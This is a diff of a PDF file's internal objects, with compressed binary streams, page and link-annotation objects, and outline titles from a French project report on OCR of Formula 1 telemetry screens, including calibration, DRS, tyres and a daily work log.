-/Count 0 -/Prev 986 0 R -/Parent 985 0 R +/Filter /FlateDecode +/Length 3341 >> +stream +xۮ_V)Q<hHۇXǍ%)J͕s DIqtЙ2E<_~:YC:S?}\s}i&l[n>bOD\GvHl{0-xØ=.! #pʵ9tHch?ajǥ6<;FH-+ߺaIV}F4%? +N!+4w G3~ILA0#τ%(o5X +eŒA8Zc3_pC}R(,!A82 \>HCqkI4=wL?;'x\kP7z8UpeܖL + /(xA@|LDܱw; {nez3jd{তU<%o CLÇu@kݍOSXShv\B]Dō4<t\(ĉhd[[yϑ1v"#] +c'$O8'ϗX @(0  )P"b4lxZnU}]Վ] zMR2#+.&Gb-MQ ,FDP2!J֠͑'sLB]}/%!= Q*"Kbhp,d9%->o-so'`b(u˽Vr -h)g \YMry89Zx.rq. 7#k+@j,469[5  [L-?ؖj!o0i_"BL@x֨CDendu(WI&1s;{( dxy"^mVPK_13 h"8Bz j%СsS`Bf gx"j8ʥzE`t.U+\;u.UKa_I))F^pr쬋G.;LJQԇ"r[,b {5ȌDD-,FZ+dsQRqn8yq˜Rr}1. ßIuY8Cs㴼 6,+ǷʹI_'cICj䉡 pzݭEtע '^,8ു'V[ +MeiG`\2I@Ԃ̉ XyvJ0~wݲܱ*M +3lMG OZx:0k}Ao"lWfMޏV 7H0e=T^VjeЁy 7Q=ua% }~*=gl@u` &{0&^S 8?\:Ձy*PtOIrB܇U%G ?Z0>7RC7'0B293pƧ.ڡp90!z}``X;=k{Ѱ`}|.Tŋy_G_K>J} 8T*$dvGgoI 1D)}uZq v~UR]H)]EI%l_jvihX]Vdߥmn]1jNѴ:۷3A]xsX]:^{MzSGJCK91TQTQˁ8q6s.̶t p˻Kp_18Gkja.T㢕GQML6Oا<yuU?PQ8U˹JV)4mrۤK`m,/~9kꉄXU Œ`+.N\`"p`B 9 ;9[NLf(/[CʠCxR0f!VR+QnícNC٣~WM+:enXcṬ_Y0痮k1^{^viy)QEj*Z-›"{[!/vr78dcvuoT:^GkGOP]p l̰E-bqz9~aE R_ҥ8Y`jۮD** ` W5?Zar'g|Ƕa3ָQqyp✔yR c)4^ *^ňZ{2@3M>@@[`(oQY' +%rbVuNvor^c›L̶jH5ys)nu9V38kI#XdòqOraC޸>uﲨ6H/jɈ<`Ů^I@sc-^N"A;@r|1|E uTZbӅ*1ܭŮ̹`c`SYuވ؅6u:zmTyvv0yBir:_q;S/0UO /FUqT[Hd0zzz!d]J#')9=}`CPxEzFڤ@t`,idՕ5jdgx\J+C6]^rfbX!û"-LQ}Pr樓+YKO DGkg18G̹b +k˗+dwQngC\!m/pom;$4: +!R9-'[N܋}?4 o;#\t=KO2')Q ¼}ОP J&UN:@>nd.LPl~G2 +endstream endobj 988 0 obj << -/Title -/Dest [ 224 0 R /XYZ 37.466457 458.928102 0 ] -/Count 0 -/Prev 968 0 R -/Parent 957 0 R -/Next 989 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 987 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 989 0 obj << -/Title (1.6 Analyse fonctionnelle) -/Dest [ 224 0 R /XYZ 37.466457 384.861402 0 ] -/Count 0 -/Prev 988 0 R -/Parent 957 0 R -/Next 990 0 R +/Filter /FlateDecode +/Length 2321 >> +stream +xn6^_6w,@grAeNy'*lOe\.E+_ D;3͟OV_'텏Vy7E#L!4j-ZӿNzR'M3`J?~>}8.hE>㻿}$x*p9x'rRG6]387mq=/ϭ.q˕I7niK +|Ә)4؞=}eNciq7;~y\p'$<`] z৵~Q+[wq(A iM`V& ,I 10BSC2F˳bi`gD1Z{W8{,LN6D$i mf5&23Ik ߣ4'҈IxsH4>l~6_tmπhxVSW^@ +T{7C0!d6΅DBk7Oܵ0gF$bHp*p23̎`Hxd%qa +W. =b<dj0.8fd +}J0xprf/"u;_ŝ͹\@ \~y7>L fh?-WuhL1ИDno%2@[jwnDQdLLd|FVU?ۚ}CW:0F( +ӭq0]~O_ވxS7>bp Kb6=3ZIpY(h5™0X=&-TYœh4czQPg&<#F+pO b@HH7ξXMrPV<-  + +P*x'p>2*(tT,|i2WHlyf9C q_1 ó{gg6}[^~tt"XБ&>^/BEa +X)4X#I\()m92XC.8rT>lrZA}jqfkGVl-/n(񀞭FAZXnVL}γĸ%v% +KgvF_3gIʕ  +I (1V )}ɟQUJ|Ǿ0 +3h4M+j-M/Uz͘w$}f{la>_ ^3CCj +Fu&佌'QJ&R] -U*Cq޴Ϡ`Cͺ`}^ o]|ԗSQZiy\ha /Om(^Ԏ1jyl^kv흄p w=sY qwi# 5SOvIy}k(8Yp@nȆ`_|2;n쉚++3\I21R 3PQÎǢ`~ut@L,flx7PoJ8&qo/k<(|rkL tr + 78>Xq4=:6h{1=c?RDfތN/PYBB7@P+A4HadtH/ +ۏߦ; +Ko:?TЁ]([r}A"Fjn]Ӫ4g2Q*'d\n4dG{73ZXA鎒  0\&32] +k#b`4h+)_٣ +FiJA.@NS +i0S7毠"<~`k(c>`& JBp cb+M:ܠc2; ކ/" "8  %HFR=J_&\~ϭ]QomR뛝Qî6\տW6Le"DyѢ9dFs GJ+Ѹf+7VWψq"aua\KߢXj}vW^[dV( GY#L] o>\a%DlnxQGoQUi5zW=P9b.C1 eK yހv>bf ~5n;`B|E^L!A { R1 ݂Z!=ޗSoD'GyhP̟W +endstream endobj 990 0 obj << -/Title (1.7 Analyse Organique) -/Dest [ 224 0 R /XYZ 37.466457 310.794702 0 ] -/Count 18 -/Prev 989 0 R -/First 991 0 R -/Last 1008 0 R -/Parent 957 0 R -/Next 1009 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 989 0 R +/Resources 4 0 R +/Annots [ 991 0 R 992 0 R 993 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 991 0 obj << -/Title -/Dest [ 224 0 R /XYZ 37.466457 240.604002 0 ] -/Count 5 -/First 992 0 R -/Last 996 0 R -/Parent 990 0 R -/Next 997 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 460.718202 39.386457 445.703802 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration1.png) +>> >> endobj 992 0 obj << -/Title (Comment faire ?) -/Dest [ 228 0 R /XYZ 40.316457 208.515666 0 ] -/Count 0 -/Parent 991 0 R -/Next 993 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 460.718202 555.889134 249.142160 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration1.png) +>> >> endobj 993 0 obj << -/Title (Simuler un navigateur ?) -/Dest [ 233 0 R /XYZ 40.316457 451.595622 0 ] -/Count 0 -/Prev 992 0 R -/Parent 991 0 R -/Next 994 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 249.142160 297.637795 234.127760 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration1.png) +>> >> endobj 994 0 obj << -/Title -/Dest [ 238 0 R /XYZ 40.316457 538.688022 0 ] -/Count 0 -/Prev 993 0 R -/Parent 991 0 R -/Next 995 0 R +/Filter /FlateDecode +/Length 1141 >> +stream +xWˎ6 +Ո(.n.."dJ}IM_<$5}T)xçA4}3]TH?&T#4 +@K/Uanu8!Y1(G-` =lhU;b _xtTĈ8|~{;Bgr*/֘B%~LwZNЧZn}T{m(*lA3ޓxS5oݑEL]!? kiZ:y2nh)8t_E4E(m*:mҨ*5!)BGy.[usfbd&_kKչbnmw*XyW~sp.(OM>hvR8r:=v5\W;WB݅"KU65W?itg@p;iZb\wEĢp/8qTyIHBe_?} i7~sqکir(]0ngrN~TΛy<J) ;:ΤH'e˧,pf뙲<_E ~a7">3otUtEZ fpȉB >9ZmṠ Lgs 0V`~~⭒!tזR3 dž da?e'f0 +endstream endobj 995 0 obj << -/Title -/Dest [ 243 0 R /XYZ 40.316457 419.812422 0 ] -/Count 0 -/Prev 994 0 R -/Parent 991 0 R -/Next 996 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 994 0 R +/Resources 4 0 R +/Annots [ 996 0 R 997 0 R 998 0 R 999 0 R 1000 0 R 1001 0 R 1002 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 996 0 obj << -/Title (Calibration) -/Dest [ 243 0 R /XYZ 40.316457 337.595622 0 ] -/Count 0 -/Prev 995 0 R -/Parent 991 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 692.198022 39.386457 677.183622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration2.png) +>> >> endobj 997 0 obj << -/Title (1.7.2 OCR) -/Dest [ 243 0 R /XYZ 37.466457 289.533222 0 ] -/Count 7 -/Prev 991 0 R -/First 998 0 R -/Last 998 0 R -/Parent 990 0 R -/Next 1005 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 692.198022 555.889134 492.614651 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration2.png) +>> >> endobj 998 0 obj << -/Title -/Dest [ 243 0 R /XYZ 40.316457 131.940822 0 ] -/Count 6 -/First 999 0 R -/Last 999 0 R -/Parent 997 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 492.614651 297.637795 477.600251 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration2.png) +>> >> endobj 999 0 obj << -/Title (Filtres et traitement) -/Dest [ 282 0 R /XYZ 40.316457 465.594822 0 ] -/Count 5 -/First 1000 0 R -/Last 1004 0 R -/Parent 998 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 380.006651 39.386457 364.992251 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration3.png) +>> >> endobj 1000 0 obj << -/Title (Texte) -/Dest [ 303 0 R /XYZ 40.316457 771.023622 0 ] -/Count 0 -/Parent 999 0 R -/Next 1001 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 380.006651 555.889134 178.080577 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration3.png) +>> >> endobj 1001 0 obj << -/Title (Chiffres) -/Dest [ 318 0 R /XYZ 40.316457 384.462822 0 ] -/Count 0 -/Prev 1000 0 R -/Parent 999 0 R -/Next 1002 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 178.080577 297.637795 163.066177 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration3.png) +>> >> endobj 1002 0 obj << -/Title (Pneus) -/Dest [ 337 0 R /XYZ 40.316457 221.934822 0 ] -/Count 0 -/Prev 1001 0 R -/Parent 999 0 R -/Next 1003 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 95.501377 39.386457 80.486977 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration4.png) +>> >> endobj 1003 0 obj << -/Title (DRS) -/Dest [ 401 0 R /XYZ 40.316457 322.168422 0 ] -/Count 0 -/Prev 1002 0 R -/Parent 999 0 R -/Next 1004 0 R +/Filter /FlateDecode +/Length 804 >> +stream +xVMo1 ϯ 8Nj8.8nw*Z5vATt3I;AzB=oߧ 0UF|[}&+1bLF0ZDpD=y1=8/i4x<ȑy󳐮*bVUz۸h)(yC68V>o˵ެ.\DxРsꢌ #9'#_ ˷cSCm~n6q}v62n~7`Lցss, 6V}#لuGx*K{p}siƃ]|N4428-8#Iz}0yk~<L~LnN XhVDuPD ]ˀ Uʅ ,fGtjr;Uo' ?--p 2X^-ڂ>;>jdP0ӌG!)[m! 'LFńX]\-|I}cXe!1zHyI}(qͧ%_[1s1_)%_:v_gYڇڳmv?=u‚˸K%H))y^yvJI +$ԧEnɚjjxn] 2 &"|8`Cd!oBگNt[9'ԥǝ`~pJCL@*5:$u+ + Ep +endstream endobj 1004 0 obj << -/Title (Filtres et methodes sur les images) -/Dest [ 401 0 R /XYZ 40.316457 284.338662 0 ] -/Count 0 -/Prev 1003 0 R -/Parent 999 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1003 0 R +/Resources 4 0 R +/Annots [ 1005 0 R 1006 0 R 1007 0 R 1008 0 R 1009 0 R 1010 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1005 0 obj << -/Title -/Dest [ 420 0 R /XYZ 37.466457 771.023622 0 ] -/Count 0 -/Prev 997 0 R -/Parent 990 0 R -/Next 1006 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 570.924375 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration4.png) +>> >> endobj 1006 0 obj << -/Title -/Dest [ 420 0 R /XYZ 37.466457 740.609622 0 ] -/Count 0 -/Prev 1005 0 R -/Parent 990 0 R -/Next 1007 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 570.924375 297.637795 555.909975 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration4.png) +>> >> endobj 1007 0 obj << -/Title -/Dest [ 420 0 R /XYZ 37.466457 710.195622 0 ] -/Count 0 -/Prev 1006 0 R -/Parent 990 0 R -/Next 1008 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 448.932375 39.386457 433.917975 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration5.png) +>> >> endobj 1008 0 obj << -/Title -/Dest [ 420 0 R /XYZ 37.466457 679.781622 0 ] -/Count 0 -/Prev 1007 0 R -/Parent 990 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 448.932375 555.889134 247.650302 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration5.png) +>> >> endobj 1009 0 obj << -/Title (1.8 Tests) -/Dest [ 420 0 R /XYZ 37.466457 645.491622 0 ] -/Count 0 -/Prev 990 0 R -/Parent 957 0 R -/Next 1010 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 247.650302 297.637795 232.635902 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration5.png) +>> >> endobj 1010 0 obj << -/Title -/Dest [ 420 0 R /XYZ 37.466457 571.424922 0 ] -/Count 0 -/Prev 1009 0 R -/Parent 957 0 R -/Next 1011 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 165.071102 39.386457 150.056702 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/WindowsPilotes.png) +>> >> endobj 1011 0 obj << -/Title (1.10 Optimisation du programme) -/Dest [ 420 0 R /XYZ 37.466457 497.358222 0 ] -/Count 0 -/Prev 1010 0 R -/Parent 957 0 R -/Next 1012 0 R +/Filter /FlateDecode +/Length 2727 >> +stream +x\Ɏ#+p n@F{ $Uk``F#L2RUR\Z$cR%^R'!Dx ?`jB<ǿ{D '*\"=WodMdN `_ +YD'&B:P>ĘNr=| )HqRSa }8 4>&+y;P헉.Z!А A8-1zkUۍDtYDٻy*Uzz)/#Ņ6㜲y amZ4M&-*yoij}0C(BzoASz&ͧﱜ-~>a?;)u]*veyϐsMp,_(m%ďփۊ֧ppdD_,]yZ/iyD]Q"Iw* R ;H~mٱP*{c +]] ʦ5v93t7__vF +µȞ%CHyTRYz +mdx5GKίwiu!-FkS;ԶH϶笠7vlqT _Yv۪ KB]Q+&WU)RX竳X<6Xpcׅ$7e3=C H礒|n,2:ЂXeT_N[PRs5'"D3WLكhl˥wz6=G%VD]BڗA9Sr#=L -Gީƪp~}Lq΢5^7&Vx~.[ˠd$ET[QK~Lzj!-l*  oqn1H>m +@.jeϾ:%[?FЪ[sq5)w3SsS!Cܳ] +$-D>n#t:j}\VжӅ=R + ͞)#3<ˑ +gk<νmL|ƭgXﶪI//eI{0wuSl-su1iޫnPۼE$olі๺859-MHm_ +BFnIf 5HtlIBe2a PNɽsd\aȢ|u]%hեxKpۏ,wSSy|w[Yh}3sB'RӤgnǞH +)& j6ܽ}U(r?W'W0X!6NY ۹yN&SJXjW̸BnPy͗e-{?Y_ç/wavyJ3G V F!T <ɥXL rsVzd$\ׇ+!rQ(G F)*;Ty. 3 K 2/> MYZPvb~$I +endstream endobj 1012 0 obj << -/Title (1.11 Ethique du projet) -/Dest [ 420 0 R /XYZ 37.466457 423.291522 0 ] -/Count 0 -/Prev 1011 0 R -/Parent 957 0 R -/Next 1013 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1011 0 R +/Resources 4 0 R +/Annots [ 1013 0 R 1014 0 R 1015 0 R 1016 0 R 1017 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1013 0 obj << -/Title -/Dest [ 420 0 R /XYZ 37.466457 336.821622 0 ] -/Count 0 -/Prev 1012 0 R -/Parent 957 0 R -/Next 1014 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 424.136457 558.773622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/WindowsPilotes.png) +>> >> endobj 1014 0 obj << -/Title (1.13 Conclusion) -/Dest [ 420 0 R /XYZ 37.466457 262.754922 0 ] -/Count 0 -/Prev 1013 0 R -/Parent 957 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 558.773622 297.637795 543.759222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/WindowsPilotes.png) +>> >> endobj 1015 0 obj << -/Title (2. Cahier des charges) -/Dest [ 422 0 R /XYZ 37.466457 759.623622 0 ] -/Count 5 -/Prev 957 0 R -/First 1016 0 R -/Last 1020 0 R -/Next 1021 0 R -/Parent 1061 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 500.592822 39.386457 485.578422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/driver2.png) +>> >> endobj 1016 0 obj << -/Title (2.1 Contexte) -/Dest [ 422 0 R /XYZ 37.466457 686.805222 0 ] -/Count 0 -/Parent 1015 0 R -/Next 1017 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 500.592822 555.889134 490.768043 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/driver2.png) +>> >> endobj 1017 0 obj << -/Title (2.2 Projet) -/Dest [ 429 0 R /XYZ 37.466457 592.727622 0 ] -/Count 0 -/Prev 1016 0 R -/Parent 1015 0 R -/Next 1018 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 490.768043 297.637795 475.753643 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/driver2.png) +>> >> endobj 1018 0 obj << -/Title -/Dest [ 429 0 R /XYZ 37.466457 286.876122 0 ] -/Count 0 -/Prev 1017 0 R -/Parent 1015 0 R -/Next 1019 0 R +/Filter /FlateDecode +/Length 4092 >> +stream +x]K#W{X;@HkbfkTlR;GjuŪř_k'Μ/1#}~?)\0sL{/|8;\*3Z)|鿧}s;BHɌ֛x8ǟ?~9}"?  0tg鯟N"3b S㈸`+o~o~x|5r5\Pxiˡk1o}>K=vp_]W:߾z.G4mgk]s6ұd1Ʃ<"99s01z8I n]oze#>!QBsrz&fTnmR}vg=h &5@k@ 7F xX \>K4,Ҳq|iLK5l ;hk3_.`bebJL{/s/Nƿ},[?Ne+~w`߽XpiΔqUɬLw;fqzI8A=YˤT˅kD_vݔЯW׮+m:-92%Bsd yf˻9_j9B8k`~ӰHፂEl0i,"b +^2 K +>esFZ=9H VV+C^0au>PV)D)zt( 1[b9}90DsrwͨV8Rfi +917( N &eZcTlMǠ&]xNHi,ŰNX.'""ⳛ@y] Ayu mG7IVXW@1A0m4{w8`&j +sY[Jp4QmzƼ22my0g2d!Nd "o҃"n ;8&Xٷ^bn tۂ5 &{ž>@yWN_:B 0kߚ|AXc | g.A$~hT־ =%fD'UPj"nF8 ABǥz\fN*c7ܳ + +V+;JUiNFR-d<#"-@|;RҬAp_ eg/E=4SNcqw {,Zk'cSlnG=)_REzˌƽlsgX3Ku 6.ѥ@.g"wu~?\=FQR r/tM +{QAޘ ꖐEeUEkQ*^UXd5S;1&+ DA pщTң rg)Tq/ 3S,$ L@XAe4w"g7A] .O+R)uAdB̹y5vZ~+i>ZQC B3zɰk J`{˻dVwS,vN[1:e@ؖWSAnET2Gk+S>F:{K)1?^){ [k{x4Y>KLy+#8J@)my#- MINP"~~{#+P[$@5Y76zIPۢN)d\"[Ch8NY6B̴t(++, mؔ% ]Ca[$ +50|_BAqG>h9a^X#[Z!S(yԕ* f" `yo;'j"ceV785 9nlZi :_mY0:\~\hj Tm#iV;ygO˔-W̻1D* nd˽񷹛6C]6JݐT1%d +M6g}o* eܭ,L#mE%$'\ j:N"m 8V̋OۤH^[چwX%kK䫗Rܮ$[FEH+g4=]^+_je6j^피Vt?ݛXԻ#%Z"˄D0c*ni .KSe=9;+"LD`c dd/V\b'V"қN8{9Rs/}/sݰ6UN BMDu<&|'#Q) ʂP1v"{aSqTS2, Y3'D +nP`&\vP`"U>+B?iyaOq5:; N)ԧ>g1(9G1"z !4C2ɸ~n2/^9P$MLjY%]ha;x|P?|H׷Exqd1@W>4d9G4D2&o5i5wO}vies)9bN㉪/"=Ux!sTG{* r;id, #NQ,=e"1Q3惈?jr[Bj8P+`{B~K6[fND$M$ҫޚMv|\Nr\]O4ӮUnWCT֞5Ѡ?uԝj1 GNʴq31m`YaZZ?kIÔ^=>ݚ94+oy7tZ߽;Gd~U Qm݅(M#nID2MU`t\%We'M R9׎:CxC'k8Jiuk ;^A Q筩=8,}OetRZ\2+ d\i;eǂVMґ?S_䨥0^ͨt5>6N=nAfF>,cmwaKc}~+xXyiڜ4bҩ:pdFu\mva0yTFOwOʑIt/%Qd^ZDz, Db)GDPy]nGCXWtu,g=jI=O%9G$`#X )VҪ ,FFQhOwR4E?*,_"QNm!yO1TrH +Tn*Оs~{"lʱl;MVԹi̶t˶qCԑE>(&NDC~."ߖFAݞVP'RBa#7si}5z~V"WgM H~,jTӾYv@fK.Y)}H HoH +jT^2qk=oAH*stwU-`qjŤ ?zn:rH;??o:Wov+ReXiJ~o~xV4ܻ.^i; .6b<O=lBH=i4 #WAƒgјΉϕ88=2{ȃ=ho& 8l~ˇePuB+(!til +endstream endobj 1019 0 obj << -/Title (2.4 Cas d'utilisation) -/Dest [ 436 0 R /XYZ 37.466457 138.793266 0 ] -/Count 0 -/Prev 1018 0 R -/Parent 1015 0 R -/Next 1020 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1018 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1020 0 obj << -/Title -/Dest [ 441 0 R /XYZ 37.466457 475.672422 0 ] -/Count 0 -/Prev 1019 0 R -/Parent 1015 0 R +/Filter /FlateDecode +/Length 1406 >> +stream +xX͎6 )Ո r(,0E =8va[RdQYtLl(~G0J|#8Ο/HKMz_ F9;=0:@*MZ ZK7~ q Z8)w#R@D i!O+--U> IF +RAB߿ P6bЛE {Ͽz*nexR-t3IHߙ5Ҙ%Soxk{e\̫2kփvlKØgf&Q,6&׺~MKj=ځy4Z[ҘfcŎro7\_>tU.Ѝ@'6a&R{C +͗+b>o(_u*,FͷeWgyIAJ`7f]Ah++;LwVQ=/VS\,XbJuB%,1G.`:;\oZo*O9h-CAGbx45 \ ߸Q<|1*\b2u1.!Ѩ4֜9g9xI[:m֑y {O6=k|Ⱦ*qE]cvS#0ѩ-'_4Ε4j#GFڵm8۵dL>o+kju +WWXWK#ƚ:UL$?V#]MG8=[ʳŖY@*2S;m c=EgyXkOIB>z䉽wW=ڪt jd-+FW.KF˖92d'+ɱ~ @N] s"njzy~w"ҜŮiQyӼI7|bY^ +a!9W^* oWyFc=wk(G 5Yb&>K\Wstkw8aVJ)穰Q݃ 9+^(E^Dqσ# $ LF[_a>Dʃeu gUTÉݐNӛ[qjNܛNJYl@e)RBNRtwijuk`N[^z4;`ezc֥;K$* f3 \tH0 5 ģʮ~ 4.xunvhhΣRBf.G؏*;ӏon-J+{s@I/,vwߜ5/Ŝ> endobj 1022 0 obj << -/Title (3.1 Mercredi 29 Mars 2023) -/Dest [ 443 0 R /XYZ 37.466457 718.588422 0 ] -/Count 0 -/Parent 1021 0 R -/Next 1023 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 731.610822 39.386457 716.596422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/data0Sainz.png) +>> >> endobj 1023 0 obj << -/Title (3.2 Jeudi 30 Mars 2023) -/Dest [ 445 0 R /XYZ 37.466457 330.643313 0 ] -/Count 0 -/Prev 1022 0 R -/Parent 1021 0 R -/Next 1024 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 731.610822 167.636457 718.110822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/data0Sainz.png) +>> >> endobj 1024 0 obj << -/Title (3.3 Vendredi 31/03/2023) -/Dest [ 456 0 R /XYZ 37.466457 458.618022 0 ] -/Count 0 -/Prev 1023 0 R -/Parent 1021 0 R -/Next 1025 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 718.110822 297.637795 703.096422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/data0Sainz.png) +>> >> endobj 1025 0 obj << -/Title (3.4 Lundi 3 Avril) -/Dest [ 527 0 R /XYZ 37.466457 771.023622 0 ] -/Count 0 -/Prev 1024 0 R -/Parent 1021 0 R -/Next 1026 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 659.930022 39.386457 644.915622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/data0Perez.png) +>> >> endobj 1026 0 obj << -/Title (3.5 Mardi 4 Avril) -/Dest [ 592 0 R /XYZ 37.466457 694.278822 0 ] -/Count 0 -/Prev 1025 0 R -/Parent 1021 0 R -/Next 1027 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 659.930022 167.636457 646.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/data0Perez.png) +>> >> endobj 1027 0 obj << -/Title (3.6 Mercredi 5 Avril) -/Dest [ 612 0 R /XYZ 37.466457 125.723886 0 ] -/Count 0 -/Prev 1026 0 R -/Parent 1021 0 R -/Next 1028 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 646.430022 297.637795 631.415622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/data0Perez.png) +>> >> endobj 1028 0 obj << -/Title (3.7 Jeudi 6 Avril) -/Dest [ 637 0 R /XYZ 37.466457 250.585350 0 ] -/Count 0 -/Prev 1027 0 R -/Parent 1021 0 R -/Next 1029 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 415.583622 39.386457 400.569222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OCRTestingScreen.png) +>> >> endobj 1029 0 obj << -/Title (3.8 Vendredi 6 Avril 2023) -/Dest [ 678 0 R /XYZ 37.466457 415.188330 0 ] -/Count 0 -/Prev 1028 0 R -/Parent 1021 0 R -/Next 1030 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 415.583622 555.889134 129.905421 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OCRTestingScreen.png) +>> >> endobj 1030 0 obj << -/Title (3.9 Vacances) -/Dest [ 703 0 R /XYZ 37.466457 389.906022 0 ] -/Count 0 -/Prev 1029 0 R -/Parent 1021 0 R -/Next 1031 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 129.905421 297.637795 114.891021 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OCRTestingScreen.png) +>> >> endobj 1031 0 obj << -/Title (3.10 Lundi 24 Avril 2023) -/Dest [ 751 0 R /XYZ 37.466457 386.895102 0 ] -/Count 0 -/Prev 1030 0 R -/Parent 1021 0 R -/Next 1032 0 R +/Filter /FlateDecode +/Length 1863 >> +stream +xYYG~ׯ@}?yaBFHQ=Xu|U'9sykԴ~8}?X̦6(mU_r5Ur5lR iiY`9\>llTX + .xЖ_7DGׅ8·0̠0BΒ]>e3hdB&h9"{88vwf:yL +.w|nX-SPa9Q)֫kB&vҮTmƏˉYs{Vg=s+f&:<.T +Ieң9s9F,2'Ia[_X 5ٽ{)I(V:fmGs +va$ITX4U;1pr7z*+|eȪ 3esMA"d(<8MF.QvxľЄJtI 5&a: /zhwí#c0:ojP"MFsÛDzrI-FVdciI3R_;[ +)h/ ǡa"zW?R T~&k /S_5Vքױ.Qr+;WtAq:bۖ75*oa=9*b( +3jT0X26Pʅr)EwWY3xkr5AGZYI?WɺvI lۯWS*ƻkE$#xgp%~PCfL|oqrA4 